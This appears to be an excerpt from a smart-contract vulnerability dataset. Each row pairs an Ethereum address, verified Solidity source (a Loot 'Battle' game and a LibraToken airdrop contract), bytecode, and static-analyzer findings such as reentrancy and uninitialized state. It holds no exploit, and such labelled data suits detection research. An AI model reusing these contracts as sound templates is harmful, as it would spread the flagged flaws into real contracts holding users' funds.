5460009060ff16806110f75750600160a060020a03331660009081526004602052604090205460ff165b151561110257600080fd5b600160a060020a03338116600090815260036020908152604080832093871683529290522054611138908363ffffffff61127316565b600160a060020a0333811660008181526003602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b60005433600160a060020a039081169116146111ea57600080fd5b600160a060020a03811615156111ff57600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03838116918217928390559091167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b60008282111561126d57600080fd5b50900390565b60008282018381101561128557600080fd5b93925050505600a165627a7a72305820d330c2265998b7d9e46bab72ad6931d13a51aae05547de2528589ad31b268d640029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 9,656 |
0x5be515103ae8f2f759a6e74cd4bcd26a518fd103 | /**
*Submitted for verification at Etherscan.io on 2021-09-04
*/
// SPDX-License-Identifier: AGPL V3.0
pragma solidity 0.8.0;
// Global Enums and Structs
struct BattleInfo {
uint256 defenderPower;
uint256 attackerPower;
uint256 duration;
uint256 endTimestamp;
bool finished;
uint256 numWarriors;
}
struct WarriorInfo {
uint256 power;
uint256 side;
}
// Part: IBattleRewarder
interface IBattleRewarder {
// Record that a battle was finished, and update reward distributions appropriately.
// Should not require a lot of gas for this computation (unless we are rewarding
// whoever calls `finishBattle` with some bonus XP or something...)
function battleFinished(uint256 battleId) external;
// Allows a warrior to claim rewards for a battle that they participated in.
function claimRewardsForBattle(uint256 battleId) external;
}
// Part: IPowerCalculator
interface IPowerCalculator {
function calculatePower(uint256 weaponId) external returns (uint256);
}
// Part: OpenZeppelin/[email protected]/Context
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// Part: OpenZeppelin/[email protected]/IERC165
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// Part: OpenZeppelin/[email protected]/IERC721
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// Part: OpenZeppelin/[email protected]/Ownable
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: Battle.sol
/**
* Implements battles between Loot weapon holders.
*
* The battle is a simple tug-of-war in which people can enlist to support
* either side. Each weapon contributes a "power" score that amplifies the
* strength of their side. At the end of the battle, the side with more power wins.
*
* A given warrior (address) can only participate in any individual battle once.
* In practice, some people might run multiple warriors via separate addresses,
* but our setup discourages this practice.
* Similarly, each weapon can only be used once in a given battle.
*
* We record the power of the weapon _at the time it is used_; upgrades to the
* weapon will have no effect on battles that weapon is currently in.
*
* Once a warrior and weapon are committed, there is no turning back, retreating,
* or switching sides. This simplifies the state tracking.
*
* Weapon power computation is abstracted behind an IPowerCalculator, which
* allows the possibility of re-balancing the game without needing to change
* this contract.
* Similarly, the distribution of battle rewards (XP) is handled through an
* IBattleRewarder, so we can tweak the XP reward mechanics without redeploying
* this contract.
*
* There is support for a v2 loot weapon contract; once we deploy it we can
* add the new contract address. Since all weapon stat calculation is abstracted
* behind the IPowerCalculator, from the perspective of this contract we only
* know that the loot weapons are ERC-721s and we check that warriors actually
* own them.
*/
contract Battle is Ownable {
uint256 constant ATTACKER_SIDE = 1;
uint256 constant DEFENDER_SIDE = 2;
IERC721 public weaponContractV1 =
IERC721(0x0ac0ECc6D249F1383c5C7c2Ff4941Bd56DEcDd14);
IERC721 public weaponContractV2;
mapping(uint256 => BattleInfo) public idToBattleInfo;
mapping(uint256 => mapping(uint256 => bool))
public battleIdToWeaponEnlisted;
mapping(uint256 => mapping(address => WarriorInfo))
public battleIdToWarriorInfo;
event BattleStarted(
uint256 indexed battleId,
uint256 duration,
uint256 endTimestamp
);
event WarriorEnlisted(
uint256 indexed battleId,
address indexed warrior,
uint256 indexed weaponId,
uint256 side,
uint256 power
);
event BattleFinished(
uint256 indexed battleId,
uint256 winner,
uint256 attackerPower,
uint256 defenderPower,
uint256 numWarriors
);
event BattleRewarderChanged(IBattleRewarder newRewarder);
event PowerCalculatorChanged(IPowerCalculator newCalculator);
IBattleRewarder public battleRewarder;
IPowerCalculator public powerCalculator;
uint256 nextBattleId;
uint256 public minBattleDuration = 3600;
function setBattleRewarder(IBattleRewarder newRewarder) public onlyOwner {
battleRewarder = newRewarder;
emit BattleRewarderChanged(newRewarder);
}
function setPowerCalculator(IPowerCalculator newCalculator)
public
onlyOwner
{
powerCalculator = newCalculator;
emit PowerCalculatorChanged(newCalculator);
}
function setV2ContractAddress(IERC721 newV2Contract) public onlyOwner {
weaponContractV2 = newV2Contract;
}
function changeMinBattleDuration(uint256 newDuration) public onlyOwner {
require(newDuration > 0, "duration may not be 0");
minBattleDuration = newDuration;
}
function startBattle(uint256 duration) public {
require(duration >= minBattleDuration, "battle too short");
uint256 endTimestamp = block.timestamp + duration;
idToBattleInfo[nextBattleId].endTimestamp = endTimestamp;
idToBattleInfo[nextBattleId].duration = duration;
emit BattleStarted(nextBattleId, duration, endTimestamp);
nextBattleId++;
}
function finish(uint256 battleId) public {
BattleInfo memory battleInfo = idToBattleInfo[battleId];
require(battleInfo.endTimestamp != 0, "battle must exist");
require(block.timestamp >= battleInfo.endTimestamp, "too early");
require(!battleInfo.finished, "already finished");
idToBattleInfo[battleId].finished = true;
uint256 winner = battleInfo.attackerPower > battleInfo.defenderPower
? ATTACKER_SIDE
: DEFENDER_SIDE;
emit BattleFinished(
battleId,
winner,
battleInfo.attackerPower,
battleInfo.defenderPower,
battleInfo.numWarriors
);
if (address(battleRewarder) != address(0)) {
battleRewarder.battleFinished(battleId);
}
}
function enlist(
uint256 battleId,
uint256 side,
uint256 weaponId
) public {
bool ownsV1 = weaponContractV1.ownerOf(weaponId) == msg.sender;
bool ownsV2 = address(weaponContractV2) != address(0) &&
weaponContractV2.ownerOf(weaponId) == msg.sender;
require(ownsV1 || ownsV2, "must own weapon");
uint256 endTimestamp = idToBattleInfo[battleId].endTimestamp;
require(endTimestamp != 0, "battle must exist");
// Don't need to check if battle is fiished, since battle can only
// be finished after the end timestamp.
require(block.timestamp < endTimestamp, "too late for battle");
require(!battleIdToWeaponEnlisted[battleId][weaponId], "weapon in use");
require(
battleIdToWarriorInfo[battleId][msg.sender].side == 0,
"warrior in battle"
);
require(
side == ATTACKER_SIDE || side == DEFENDER_SIDE,
"no bystanders!"
);
uint256 power = powerCalculator.calculatePower(weaponId);
battleIdToWarriorInfo[battleId][msg.sender] = WarriorInfo(power, side);
if (side == ATTACKER_SIDE) {
idToBattleInfo[battleId].attackerPower += power;
} else {
idToBattleInfo[battleId].defenderPower += power;
}
idToBattleInfo[battleId].numWarriors++;
}
} | 0x608060405234801561001057600080fd5b50600436106101155760003560e01c80638e6807f8116100a2578063ba2ec0d711610071578063ba2ec0d71461021e578063bfd9239e14610226578063c555885f14610247578063d353a1cb1461024f578063f2fde38b1461026257610115565b80638e6807f8146101db57806395d61702146101ee578063982105e0146101f6578063a9f59f221461020b57610115565b806373cd4c4d116100e957806373cd4c4d14610173578063749fa75b146101985780637884b979146101ab5780637b4f6d92146101c05780638da5cb5b146101d357610115565b80620971c21461011a57806340455d271461012f5780634058a7ed14610142578063715018a61461016b575b600080fd5b61012d610128366004610ca6565b610275565b005b61012d61013d366004610c67565b6102e2565b610155610150366004610d05565b610377565b6040516101629190610d65565b60405180910390f35b61012d610397565b610186610181366004610ca6565b610420565b60405161016296959493929190610fbe565b61012d6101a6366004610c67565b61045b565b6101b36104e5565b6040516101629190610d51565b61012d6101ce366004610c67565b6104f4565b6101b3610555565b61012d6101e9366004610ca6565b610564565b6101b3610613565b6101fe610622565b6040516101629190610f8c565b61012d610219366004610d26565b610628565b6101b36109ab565b610239610234366004610cd6565b6109ba565b604051610162929190610f95565b6101b36109de565b61012d61025d366004610ca6565b6109ed565b61012d610270366004610c67565b610ba3565b61027d610c63565b6001600160a01b031661028e610555565b6001600160a01b0316146102bd5760405162461bcd60e51b81526004016102b490610e8b565b60405180910390fd5b600081116102dd5760405162461bcd60e51b81526004016102b490610e5c565b600955565b6102ea610c63565b6001600160a01b03166102fb610555565b6001600160a01b0316146103215760405162461bcd60e51b81526004016102b490610e8b565b600680546001600160a01b0319166001600160a01b0383161790556040517f94b19defae89e79fdfef081cdafac13b6b187098ce1d321c1050d6b446843fbb9061036c908390610d51565b60405180910390a150565b600460209081526000928352604080842090915290825290205460ff1681565b61039f610c63565b6001600160a01b03166103b0610555565b6001600160a01b0316146103d65760405162461bcd60e51b81526004016102b490610e8b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6003602081905260009182526040909120805460018201546002830154938301546004840154600590940154929491939192909160ff169086565b610463610c63565b6001600160a01b0316610474610555565b6001600160a01b03161461049a5760405162461bcd60e51b81526004016102b490610e8b565b600780546001600160a01b0319166001600160a01b0383161790556040517fa6785a8daa814d4b6690cdc1ac026ab273c6ba1d331fa016c09ce776f4ffebf59061036c908390610d51565b6001546001600160a01b031681565b6104fc610c63565b6001600160a01b031661050d610555565b6001600160a01b0316146105335760405162461bcd60e51b81526004016102b490610e8b565b600280546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031690565b6009548110156105865760405162461bcd60e51b81526004016102b490610f62565b60006105928242610fe8565b600880546000908152600360208190526040808320909101849055825482529081902060020185905590549051919250907f5c1ce71ae6c3eb50b41231fe5991c4de20d0c55b7f4b6dec220b3b2da664c427906105f29085908590610f95565b60405180910390a26008805490600061060a83611000565b91905055505050565b6007546001600160a01b031681565b60095481565b6001546040516331a9108f60e11b815260009133916001600160a01b0390911690636352211e9061065d908690600401610f8c565b60206040518083038186803b15801561067557600080fd5b505afa158015610689573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ad9190610c8a565b6002546001600160a01b03918216929092149250600091161580159061075957506002546040516331a9108f60e11b815233916001600160a01b031690636352211e906106fe908790600401610f8c565b60206040518083038186803b15801561071657600080fd5b505afa15801561072a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074e9190610c8a565b6001600160a01b0316145b905081806107645750805b6107805760405162461bcd60e51b81526004016102b490610f16565b60008581526003602081905260409091200154806107b05760405162461bcd60e51b81526004016102b490610ec0565b8042106107cf5760405162461bcd60e51b81526004016102b490610e07565b600086815260046020908152604080832087845290915290205460ff16156108095760405162461bcd60e51b81526004016102b490610de0565b6000868152600560209081526040808320338452909152902060010154156108435760405162461bcd60e51b81526004016102b490610eeb565b60018514806108525750600285145b61086e5760405162461bcd60e51b81526004016102b490610e34565b600754604051631a46b9b160e11b81526000916001600160a01b03169063348d73629061089f908890600401610f8c565b602060405180830381600087803b1580156108b957600080fd5b505af11580156108cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f19190610cbe565b60408051808201825282815260208082018a815260008c81526005835284812033825290925292902090518155905160019182015590915086141561095c5760008781526003602052604081206001018054839290610951908490610fe8565b909155506109809050565b6000878152600360205260408120805483929061097a908490610fe8565b90915550505b600087815260036020526040812060050180549161099d83611000565b919050555050505050505050565b6002546001600160a01b031681565b60056020908152600092835260408084209091529082529020805460019091015482565b6006546001600160a01b031681565b600081815260036020818152604092839020835160c081018552815481526001820154928101929092526002810154938201939093529082015460608201819052600483015460ff161515608083015260059092015460a082015290610a655760405162461bcd60e51b81526004016102b490610ec0565b8060600151421015610a895760405162461bcd60e51b81526004016102b490610f3f565b806080015115610aab5760405162461bcd60e51b81526004016102b490610d70565b60008281526003602090815260408220600401805460ff1916600117905582519083015111610adb576002610ade565b60015b9050827f27478bd609191a3c8ee1dc2ba5f7f54a5335177680439c685c4a82d19b67d05e82846020015185600001518660a00151604051610b229493929190610fa3565b60405180910390a26006546001600160a01b031615610b9e5760065460405163d3b9d7c960e01b81526001600160a01b039091169063d3b9d7c990610b6b908690600401610f8c565b600060405180830381600087803b158015610b8557600080fd5b505af1158015610b99573d6000803e3d6000fd5b505050505b505050565b610bab610c63565b6001600160a01b0316610bbc610555565b6001600160a01b031614610be25760405162461bcd60e51b81526004016102b490610e8b565b6001600160a01b038116610c085760405162461bcd60e51b81526004016102b490610d9a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b600060208284031215610c78578081fd5b8135610c8381611031565b9392505050565b600060208284031215610c9b578081fd5b8151610c8381611031565b600060208284031215610cb7578081fd5b5035919050565b600060208284031215610ccf578081fd5b5051919050565b60008060408385031215610ce8578081fd5b823591506020830135610cfa81611031565b809150509250929050565b60008060408385031215610d17578182fd5b50508035926020909101359150565b600080600060608486031215610d3a578081fd5b505081359360208301359350604090920135919050565b6001600160a01b0391909116815260200190565b901515815260200190565b60208082526010908201526f185b1c9958591e48199a5b9a5cda195960821b604082015260600190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b6020808252600d908201526c776561706f6e20696e2075736560981b604082015260600190565b602080825260139082015272746f6f206c61746520666f7220626174746c6560681b604082015260600190565b6020808252600e908201526d6e6f2062797374616e646572732160901b604082015260600190565b60208082526015908201527406475726174696f6e206d6179206e6f74206265203605c1b604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526011908201527018985d1d1b19481b5d5cdd08195e1a5cdd607a1b604082015260600190565b60208082526011908201527077617272696f7220696e20626174746c6560781b604082015260600190565b6020808252600f908201526e36bab9ba1037bbb7103bb2b0b837b760891b604082015260600190565b602080825260099082015268746f6f206561726c7960b81b604082015260600190565b60208082526010908201526f18985d1d1b19481d1bdbc81cda1bdc9d60821b604082015260600190565b90815260200190565b918252602082015260400190565b93845260208401929092526040830152606082015260800190565b9586526020860194909452604085019290925260608401521515608083015260a082015260c00190565b60008219821115610ffb57610ffb61101b565b500190565b60006000198214156110145761101461101b565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461104657600080fd5b5056fea264697066735822122048227980ad9f19543dfd40d79f0b10b2a960a862bfcaf141054a5c484f3453d664736f6c63430008000033 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 9,657 |
0x47e24d59420cbf293de5cff8d2c72d0d86c7f11d | pragma solidity ^0.4.17;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract LibraToken is StandardToken {
string public constant name = "LibraToken"; // solium-disable-line uppercase
string public constant symbol = "LBA"; // solium-disable-line uppercase
uint8 public constant decimals = 18; // solium-disable-line uppercase
uint256 public constant INITIAL_SUPPLY = (10 ** 9) * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
function LibraToken() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
}
contract AirdropLibraToken is Ownable {
using SafeMath for uint256;
uint256 decimal = 10**uint256(18);
//How many tokens has been distributed
uint256 distributedTotal = 0;
uint256 airdropStartTime;
uint256 airdropEndTime;
// The LBA token
LibraToken private token;
// List of admins
mapping (address => bool) public airdropAdmins;
//the map that has been airdropped, key -- address ,value -- amount
mapping(address => uint256) public airdropDoneAmountMap;
//the list that has been airdropped addresses
address[] public airdropDoneList;
//airdrop event
event Airdrop(address _receiver, uint256 amount);
event AddAdmin(address _admin);
event RemoveAdmin(address _admin);
event UpdateEndTime(address _operator, uint256 _oldTime, uint256 _newTime);
modifier onlyOwnerOrAdmin() {
require(msg.sender == owner || airdropAdmins[msg.sender]);
_;
}
function addAdmin(address _admin) public onlyOwner {
airdropAdmins[_admin] = true;
AddAdmin(_admin);
}
function removeAdmin(address _admin) public onlyOwner {
if(isAdmin(_admin)){
airdropAdmins[_admin] = false;
RemoveAdmin(_admin);
}
}
modifier onlyWhileAirdropPhaseOpen {
require(block.timestamp > airdropStartTime && block.timestamp < airdropEndTime);
_;
}
function AirdropLibraToken(
ERC20 _token,
uint256 _airdropStartTime,
uint256 _airdropEndTime
) public {
token = LibraToken(_token);
airdropStartTime = _airdropStartTime;
airdropEndTime = _airdropEndTime;
}
function airdropTokens(address _recipient, uint256 amount) public onlyOwnerOrAdmin onlyWhileAirdropPhaseOpen {
require(amount > 0);
uint256 lbaBalance = token.balanceOf(this);
require(lbaBalance >= amount);
require(token.transfer(_recipient, amount));
//put address into has done list
airdropDoneList.push(_recipient);
//update airdropped actually
uint256 airDropAmountThisAddr = 0;
if(airdropDoneAmountMap[_recipient] > 0){
airDropAmountThisAddr = airdropDoneAmountMap[_recipient].add(amount);
}else{
airDropAmountThisAddr = amount;
}
airdropDoneAmountMap[_recipient] = airDropAmountThisAddr;
distributedTotal = distributedTotal.add(amount);
Airdrop(_recipient, amount);
}
//batch airdrop, key-- the receiver's address, value -- receiver's amount
function airdropTokensBatch(address[] receivers, uint256[] amounts) public onlyOwnerOrAdmin onlyWhileAirdropPhaseOpen{
require(receivers.length > 0 && receivers.length == amounts.length);
for (uint256 i = 0; i < receivers.length; i++){
airdropTokens(receivers[i], amounts[i]);
}
}
function transferOutBalance() public onlyOwner view returns (bool){
address creator = msg.sender;
uint256 _balanceOfThis = token.balanceOf(this);
if(_balanceOfThis > 0){
LibraToken(token).approve(this, _balanceOfThis);
LibraToken(token).transferFrom(this, creator, _balanceOfThis);
return true;
}else{
return false;
}
}
//How many tokens are left without payment
function balanceOfThis() public view returns (uint256){
return token.balanceOf(this);
}
//how many tokens have been distributed
function getDistributedTotal() public view returns (uint256){
return distributedTotal;
}
function isAdmin(address _addr) public view returns (bool){
return airdropAdmins[_addr];
}
function updateAirdropEndTime(uint256 _newEndTime) public onlyOwnerOrAdmin {
UpdateEndTime(msg.sender, airdropEndTime, _newEndTime);
airdropEndTime = _newEndTime;
}
//get all addresses that has been airdropped
function getDoneAddresses() public constant returns (address[]){
return airdropDoneList;
}
//get the amount has been dropped by user's address
function getDoneAirdropAmount(address _addr) public view returns (uint256){
return airdropDoneAmountMap[_addr];
}
} | 0x606060405236156100e4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806310e82384146100e95780631785f53c1461013a57806324d7806c1461017357806334d64e50146101c45780633963184914610211578063704802751461023e57806370d290b5146102775780638da5cb5b146102e1578063999eb6b1146103365780639b0ee7b71461035f578063b8cb40e014610382578063f2fde38b146103ab578063f659a45f146103e4578063f731a6f714610426578063f900920214610489578063f92cd2b2146104d6575b600080fd5b34156100f457600080fd5b610120600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610570565b604051808215151515815260200191505060405180910390f35b341561014557600080fd5b610171600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610590565b005b341561017e57600080fd5b6101aa600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506106b8565b604051808215151515815260200191505060405180910390f35b34156101cf57600080fd5b6101fb600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061070e565b6040518082815260200191505060405180910390f35b341561021c57600080fd5b610224610757565b604051808215151515815260200191505